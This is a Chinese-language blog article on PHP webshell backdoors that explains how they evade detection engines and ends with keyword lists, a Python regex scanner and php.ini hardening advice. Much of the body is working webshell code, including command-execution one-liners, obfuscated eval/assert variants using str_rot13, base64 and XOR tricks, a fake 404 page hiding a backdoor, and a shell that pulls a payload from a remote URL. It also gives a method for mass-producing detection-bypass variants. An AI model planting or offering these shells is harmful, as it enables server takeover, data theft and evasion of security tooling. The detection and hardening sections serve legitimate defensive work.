当前位置:网站首页>PHP WebSehll 后门脚本与检测工具
PHP WebSehll 后门脚本与检测工具
2022-08-02 02:49:00 【wespten】
Webshell是网站入侵的常用后门,利用Webshell可以在Web服务器上执行系统命令、窃取数据、植入病毒、勒索核心数据、SE0挂马等恶意操作,危害极大。
所谓Webshell,主要指可以被例如apache、tomcat、nginx在内的webserver即时解释执行的脚本语言编写而成的文本文件,其本质是一种text文本文件。因其隐秘性、基于脚本、灵活便捷、功能强大等特点,广受黑客们的喜爱,因此Webshell的检测也成为云安全防御的重点,甚至成为网站安全防御的一个标配。
近几年攻防对抗不断升级,防御的挑战越来越大,攻防的战场已经不再是谁见的样本多,而越来越转向方法论层面的对抗,攻击者往往会倾向于找到某种方法论体系,通过体系层面,来对防守方发起挑战。安骑士Webshell检测系统在对抗的过程中,逐步发展出了静态规则+动态规则+词法ast解析+动态模拟执行+机器学习等多种综合手段,目的也是为了尽量提高攻击绕过的门槛和成本,缓解Webshell攻击问题。
一、PHP语言特性
PHP是一种动态弱类型语言,参数传递、类型转换、函数调用方式都非常灵活,这给开发者带来开发便利的同时,也给攻击者编写各种畸形恶意代码带来了很多便利,通过翻阅PHP手册,我们可以查到很多奇技淫巧,例如:







二、PHP可能面临的各种攻击
俗话说,“工欲善其事必先利其器”,作为工程师,体系化认知就是我们最好的“利器”,初期点状的知识积累固然没有太大问题,但是越往后深入,对体系化认知的需求就会越强,它能让你把笔记本读薄。

XSS:对PHP的Web应用而言,跨站脚本是一个易受攻击的点。攻击者可以利用它盗取用户信息。你可以配置Apache,或是写更安全的PHP代码(验证所有用户输入)来防范XSS攻击
SQL注入:这是PHP应用中,数据库层的易受攻击点。防范方式同上。常用的方法是,使用mysql_real_escape_string()对参数进行转义,而后进行SQL查询。
文件上传:它可以让访问者在服务器上放置(即上传)文件。这会造成例如,删除服务器文件、数据库,获取用户信息等一系列问题。你可以使用PHP来禁止文件上传,或编写更安全的代码(如检验用户输入,只允许上传png、gif这些图片格式)
包含本地与远程文件:攻击者可以使远程服务器打开文件,运行任何PHP代码,然后上传或删除文件,安装后门。可以通过取消远程文件执行的设置来防范
eval/assert:这个函数可以使一段字符串如同PHP代码一样执行。它通常被攻击者用于在服务器上隐藏代码和工具。通过配置PHP,取消eval等函数调用来实现
Sea-surt Attack(Cross-site request forgery,CSRF。跨站请求伪造):这种攻击会使终端用户在当前账号下执行非指定行为。这会危害终端用户的数据与操作安全。如果目标终端用户的账号用于管理员权限,整个Web应用都会收到威胁。
三、各种WebShell
1、PHP语言特性WebShell
1. 攻击者传入外部指令参数的方式
a. 从内置全局数组中获取外部参数
$_GET["op"]
$GLOBALS['_POST']['op']<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
echo "</pre>$cmd<pre>";
die;
}
?>这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装。
b. 利用环境变量相关函数获取外部参数
getenv('HTTP_CONNECTION')c. 将外部参数作为文件/目录信息写入磁盘
d. 将外部参数存入output buffering缓存中
e. 利用PHP原生函数获取外部参数
get_defined_vars
getallheaders
phpinfof. 利用输入/输出流获取外部参数
g. 利用网络请求从远程IP获取外部参数
file_get_contents
get_meta_tagsh. 利用xml处理函数获取外部参数
simplexml_load_stringi. 利用数据库相关扩展获取外部参数
mysql
memcache
redisj. 利用本地变量注册获取外部参数
parse_url
extract2. 动态生成数值和字符串的方式
a. 动态生成数组键值
① 利用try-catch存储和生成当前数组key
② 利用另一个数组变量存储当前数组key
③ 利用time延时逻辑生成当前数组key
④ 利用random逻辑生成当前数组key
b. 动态生成参数名称
利用运算符技术:自增、异或、取非、取反
c. 动态生成函数名称
① 利用字符串拼接技术
② 利用explode字符串分组技术
3. 对字符串内容进行编码/解码的方式
a. 利用BASE64编码/解码上技术
b. 利用字符串顺序逆转相关技术
c. 利用文本替换相关技术
d. 利用0x16进制编码字符串
4. 向函数传入实参/变量的方式
a.利用array callback相关函数实现参数传递
b.利用define宏定义方式实现参数传递
c.利用自定义加/解密函数进行处理后再进行参数传递
d.利用类方法重载的方式实现隐式参数传递
__toString方法重载
e.利用try-catch方式传递函数名
try { throw new Exception("system"); }5. 执行指令的方式
a. 利用PHP原生函数执行指令
eval
assert
system
copy
session
str_replace
str_rot13
pack<?php assert($_POST[sb]);?>
或者
<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['iixosmse']);
?><?php
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);<?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');<?php $a =str_replace(x,"","axsxxsxexrxxt");$a($_POST["code"]); ?> //说明:请求参数 ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))
最终执行命令<?php assert(fputs(fopen('c.php',w),"<?php @eval($_POST[a]);?>"))?>
<?php ($code = $_POST['code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)', 'add'); ?> //说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。<?php if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s? %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);
?>b. 通过include方式执行指令
include ROOT_PATH . $_REQUEST['target'];
<?php $filename=$_GET['code'];include ($filename); ?> //由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。
c. 通过array callback execute方式实现代码执行
($a = 'assert')&&($b = $_POST['a'])&&call_user_func_array($a, array($b));
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");d. 利用动态字符串函数调用特性(PHP中字符串可以直接作为函数名称被调用)
$dyn_func = $_GET['dyn_func']; $argument = $_GET['argument']; $dyn_func($argument);e. 利用序列化/反序列化特性执行指令
f. 利用类构造/析构特性执行指令
g. 利用anonymous (lambda-style) function(匿名函数)执行指令
create_function
eval("function lambda_n() { eval($_GET[1]); }"); lambda_n();
$a = function($b) { system($b); }; $a($_GET['c']);h. 通过注册系统回调执行指令
register_shutdown_function
register_tick_function
set_error_handleri. 利用反射技术执行指令
j. 利用PHP ${}特性执行指令
k. 利用系统输出缓存技术执行指令
l. 利用“特性执行系统指令
m. 利用字符串处理回调(string process callback)技术执行指令
mbereg_replacen. 利用静态类方法执行指令
class foo { static function a(callable $b) { $b($_GET['c']); } } foo::a('system');6. 动态改变程序执行流支的技术
a. 利用三元运算符
b. 根据某外部传入参数,决定某IF条件的判断结果
c. 利用header实现二次跳转
d. 通过将外部指令写入系统持久化存储后再通过include执行
磁盘文件
临时文件
内存文件
7. 攻击沙箱/词法引擎的相关特殊技术
代码间插入注释
举一个具体的例子:

上面这个样本有以下几个绕过点:
- 利用try-catch方式传递函数名
- 从内置全局数组中获取外部参数
- 利用动态字符串函数调用特性(PHP中字符串可以直接作为函数名称被调用)
建立这种思考框架有几个好处:
- php语言特性本身是存在不同的维度的,在每个维度内通过翻阅内核源代码,可以进行充分的穷举
- php的不同trick之间近似于彼此正交的维度,通过对不同维度进行交叉组合,可以高效地写出大量的绕过样本
- 有利于攻击者实现对防御者的单点突破,只要找到某个具体的绕过点,围绕这个绕过点,在其他维度上进行衍生,往往可以在短时间内创造出大量的绕过,方便在实战中迅速突破
2、模拟执行覆盖度攻击
业内目前针对PHP Webshell,主流的做法是采用【静态/动态AST词法分析】或者【动态沙箱检测】技术,对这类防御手段来说,攻防博弈的战场在于【模拟引擎的完成度】,具体来说例如:
- php各类版本、生僻语法的支持度
- 打断污点追踪
- 父子类数据共享
- 引用传递
- 未定义函数调用
- 利用报错/容错机制
- 控制流依赖逃逸
- 宏定义传递
- 等等….
我们选取几类重点讲解
控制流依赖逃逸
以下面这段代码为例:

可以看到,信息(外部参数)的传递并不是直接通过赋值/函数调用来传递的,而是通过控制流来隐式传递的,如果AST引擎或者沙箱不能正确地处理这种语法,则污点信息在传递过程中就会被丢失,导致最后在sink点无法有效检测。
利用报错/容错机制

引用传递

这个攻击方式是利用ReflectionFunction映射类配合引用参数修改$args的值,如果引擎没有很好地处理引用,则污点传递会被打断。
宏定义传递
![]()
利用宏变量,实现了外部参数的传递。
3、上下文环境依赖差分攻击
所谓上下文环境依赖差分攻击,是指攻击样本的运行需要依赖特定的上下文环境,从信息论角度来说,这可以理解为一种额外信息,攻防博弈的战场在于信息的获取。安全里面有一个俗话叫“要尽量在攻击发生的现场进行日志捕获、检测、以及防御”,很多离线检测方案,就是因为离第一攻击现场太远了,导致上下文环境信息丢失严重,造成了很多检测和防御上的困难。
多次运行后才会暴露出真实攻击意图

实际黑客利用时,需要运行多次样本才能触发真正攻击,而沙箱或者AST引擎往往只能运行有限次。即所谓的“黑客知道要怎么运行、用户也知道,就是防御方不知道”,这在实战中也是一个常用的绕过手段。
借助环境变量等第三方存储暂存外部参数

首先通过putenv传递变量,之后获取变量中的path内容,那么只需要传入c=path=phpinfo();即可完成利用。
这种样本在实际攻击中是容易成功的,因为只要是Linux操作系统,webserver进程一般都会有权限进行环境变量的操作。但是对于检测引擎来说,如果没有正确处理环境变量的存储和获取相关操作,污点参数就是传递失败。
4、攻击流量差分攻击
所谓的攻击流量差分攻击,是一种最常见的攻击绕过过段,其实也是一种思考问题的方式,突破防御,绕过的本质就是要寻找防御系统的差分点,对于PHP Webshell来说,外部传参流量就是一个很关键的差分点。
为了更好地说明这个沙箱,笔者这里引入两个概念,【静态可重入样本】以及【动态不可重复多模态样本】。
所谓【静态可重入样本】就是指大部分的传统的PHP Webshell样本,我们称之为“可重入单模态样本”,这类样本尽管可以利用php的大量tricky特性、使用各种编码、加密手段,代码形式可以极尽复杂,例如
–我是分隔符 m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m m 结束–


但是,这种样本,究其根本,其本质都是“可重入的、单模态的”,就是说不管运行多少次,谁来运行(受害者 or 旁路离线引擎),其运行结果都是一样的。
从污点追踪理论的角度来说,这一阶段的沙箱,解决的是【显式污点传递问题】,即污点信息流的传递在样本代码中是显式的,只要模拟执行一遍即可100%模拟。
另一方面,对于【动态不可重复多模态样本】来说,这样样本的重点不在于利用了php的哪些tricky语法特性,而在于它的“不可重入性、多模态性”,我们下面用具体例子来解释。
动态依赖的分支跳转问题(根据输入的参数动态决定执行流和执行动作)

对这个样本来说,外部参数就像一个之路的地图,标识了一个“road chain”,只有严格遵守这个“road chain”运行到最后,才可以看到样本的真实攻击意图。而这对业内很多旁路检测引擎来说,都是一个很大的挑战,在指数级的分支中,一旦走错了一个分支,就会被攻击者实现绕过。
基于外部参数动态生成函数名

主要攻击以沙箱和动态AST引擎为代表的旁路离线检测技术,离线检测因为丢失了攻击现场的上下文信息,因此较难模拟实际的攻击行为。
不常见的外部参数传递方式
对于业内常用的【污点追踪检测技术】,各家厂商基本都知道要把PHP常见的HTTP超参数标记为污点,例如GET/POST/COOKIE等。
但实际上,外部参数是一个泛概念,理论上来说,“一切外部可控的输入都是有害的,都需要被跟踪”。外部可控的输入源是一个信道的概念,原则上,只要是符合“外部可控、内容可控”这两个特点的方式,都属于外部可控输入。它们包括但不限于:
- HTTP输入(GET/POST)参数
$GLOBALS[‘_GET’] $GLOBALS[‘_POST’] $GLOBALS[‘_COOKIE’] $GLOBALS[‘_FILES’] $GLOBALS[‘GLOBALS’][‘_GET’] $GLOBALS[‘GLOBALS’][‘_POST’] $GLOBALS[‘GLOBALS’][‘_COOKIE’] $GLOBALS[‘GLOBALS’][‘_FILES’] $_GET $_POST $_COOKIE $_FILES $_REQUEST
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的。
- HTTP Header信息输入
getallheaders() - 网络信道输入:只要对源头api的return zval进行污点标记,随后污点标记会随着api sequence被传递
file_get_contents() socket_create_listen() socket_listen() curl_init() - 通过系统指令包装器执行网络相关指令,从外部网络获取指令信息
system():system(“curl xxxxx/evil.command”) popen() exec() passthru() shell_exec() “ - 通过数据库相关操作获取外部可控参数
举一个具体的例子来说:

外部参数依赖下的条件跳转

5、攻击静态检测规则
攻击静态检测规则就是我们常说的,绕过某某厂商的正则检测黑规则。这类攻击方式业内讨论的文章已经非常多了,笔者在这里不再赘述。
笔者希望在这里阐述一个攻击静态检测规则的方法论,即【利用冗余可约分性进行样本变形】。
观察如下3个表达式,将其视作webshell样本的一个逻辑抽象版本:
((X+6)+Y)+X + (if( (X*Y)>0 ){X}else{X} + X*X) + (X + (Y - (X + if(6>0){1}else{0})) )
# X*Y恒大于0,故可约简为:
2*X + Y + 6 + X + X**2 + (X + (Y - (X + if(6>0){1}else{0})) )
# 6恒大于0,故可约简为:
2*X + Y + 6 + X + X**2 + X + Y - X + 1
最后约简得到:
X**2 + 3*X + 2*Y + 5从最终结果,也就是功能上,上面3个表达式是相等的。
如果将最后一个表达式视为一个最精简版的webshell,例如:
<?php eval($_POST[1]);?>根据冗余可约简规律,实现同样功能的这个代码,可以有无限多种扩展,这是不可枚举的。
例如:
<?php
link(__FILE__, 'ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
link(__FILE__, 'YXNzZXJ0Cg==');
$d = substr(readlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK'), -32);
$e = substr(readlink('YXNzZXJ0Cg=='), -12);
$e = base64_decode($e);
$b = $e[0].'ssert';
$b(base64_decode($d));
unlink('ZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTsK');
unlink('YXNzZXJ0Cg==');这2个文件在代码架构上,存在非常大的区别。
这种冗余可约简性,直接导致了样本的反汇编结果、apicall序列结果差别非常大。
6、代码混淆
<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>或者
<?php
$penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";
$kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
$ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");
$wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
$zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";
$smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");
$jgfi = $ftdf("l","","lclrlelaltel_functlilon");
$rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();
?>四、PHP WebShell 检测工具
1、如何查找
直观寻找方式也有很多:
通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)
通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )
通过access.log访问日志分析
下面是360 zhujiweishi ,在linux服务器上非常简单好用。

通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件):
系统命令执行: system, passthru, shell_exec, exec, popen, proc_open
代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
通过简单的python脚本:
#!/usr/bin/env python
# encoding: utf-8
import os,sys
import re
import hashlib
import time
rulelist = [
'(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))',
'((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))',
'(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})',
'(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))',
'((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))',
'(\$(\w+)\s*\(\s.chr\(\d+\)\))',
'(\$(\w+)\s*\$\{(.*)\})',
'(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))',
'(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))',
'(\$\_\=(.*)\$\_)',
'(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))',
'(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))',
'(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))',
'((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))',
'(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))',
'(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))',
'((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))',
'(eval\s*\(\s*\(\s*\$\$(\w+))',
'((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))',
'(preg\_replace\s*\((.*)\(base64\_decode\(\$)'
]
def scan(path):
print(' 可疑文件 ')
print('*'*30)
for root,dirs,files in os.walk(path):
for filespath in files:
if os.path.getsize(os.path.join(root,filespath))<1024000:
file= open(os.path.join(root,filespath))
filestr = file.read()
file.close()
for rule in rulelist:
result = re.compile(rule).findall(filestr)
if result:
print '文件:'+os.path.join(root,filespath )
print '恶意代码:'+str(result[0][0:200])
print ('最后修改时间:'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getmtime(os.path.join(root,filespath)))))
print '\n\n'
break
def md5sum(md5_file):
m = hashlib.md5()
fp = open(md5_file)
m.update(fp.read())
return m.hexdigest()
fp.close()
if md5sum('/etc/issue') == '3e3c7c4194b12af573ab11c16990c477':
if md5sum('/usr/sbin/sshd') == 'abf7a90c36705ef679298a44af80b10b':
pass
else:
print('*'*40)
print "\033[31m sshd被修改,疑似留有后门\033[m"
print('*'*40)
time.sleep(5)
if md5sum('/etc/issue') == '6c9222ee501323045d85545853ebea55':
if md5sum('/usr/sbin/sshd') == '4bbf2b12d6b7f234fa01b23dc9822838':
pass
else:
print('*'*40)
print "\033[31m sshd被修改,疑似留有后门\033[m"
print('*'*40)
time.sleep(5)
if __name__=='__main__':
if len(sys.argv)!=2:
print '参数错误'
print "\t按恶意代码查找:"+sys.argv[0]+'目录名'
if os.path.lexists(sys.argv[1]) == False:
print "目录不存在"
exit()
print ('\n\n开始查找:'+sys.argv[1])
if len(sys.argv) ==2:
scan(sys.argv[1])
else:
exit()2、如何防范
php.ini 设置:
disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir设置“safe_mode”为“on”
禁止“open_basedir” 可以禁止指定目录之外的文件操作
expose_php设为off 这样php不会在http文件头中泄露信息
设置“allow_url_fopen”为“off” 可禁止远程文件功能
log_errors”设为“on” 错误日志开启
php编码方面:
所有用户提交的信息 post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)
经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码
文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题
如用开源代码,有补丁出来的话,尽快打上补丁
如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。
服务器配置:
配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限
nginx或者apache配置的时候,不能访问的目录一定要配置为deny
...
综上,对于【php一句话webshell】这个概念来说,其包含的集合是一个无限集合,这个问题可能不是一个数据问题(data problem),而是一个机制问题(mechanism problem)。
对于攻击者来说,充分利用这个机制,只要找到了一个绕过样本,就可以进行大量的局部和全局衍生,创造出很多新的绕过样本。
边栏推荐
猜你喜欢

feign调用不通问题,JSON parse error Illegal character ((CTRL-CHAR, code 31)) only regular white space (r

Flask入门学习教程

canal同步Mariadb到Mysql

aws s3上传文件

字典常用方法

2022牛客多校三_F G

qt点云配准软件

Nanoprobes丨1-mercapto-(triethylene glycol) methyl ether functionalized gold nanoparticles

忽晴忽雨

Nacos source code analysis topic (2) - service registration
随机推荐
IPFS deployment and file upload (golang)
指针数组和数组指针
IPFS部署及文件上传(golang)
cadence landscape bindkey
非稳压 源特电子 隔离电源模块芯片 5W VPS8504B 24V
【LeetCode】1374. 生成每种字符都是奇数个的字符串
国标GB28181协议EasyGBS平台兼容老版本收流端口的功能实现
Recursively check if a configuration item has changed and replace it
analog IC layout
1688API
VPS8504C 微功率隔离电源隔离芯片 VPSC源特科技
周鸿祎称微软抄袭,窃取360安全模式
CASE2023
启发式合并、DSU on Tree
【LeetCode】102. Level order traversal of binary tree
Use DBeaver for mysql data backup and recovery
VPS8701 电源管理(PMIC) VPS8701
2W字!梳理50道经典计算机网络面试题(收藏版)
架构:微服务网关(SIA-Gateway)简介
Tree Chain Segmentation-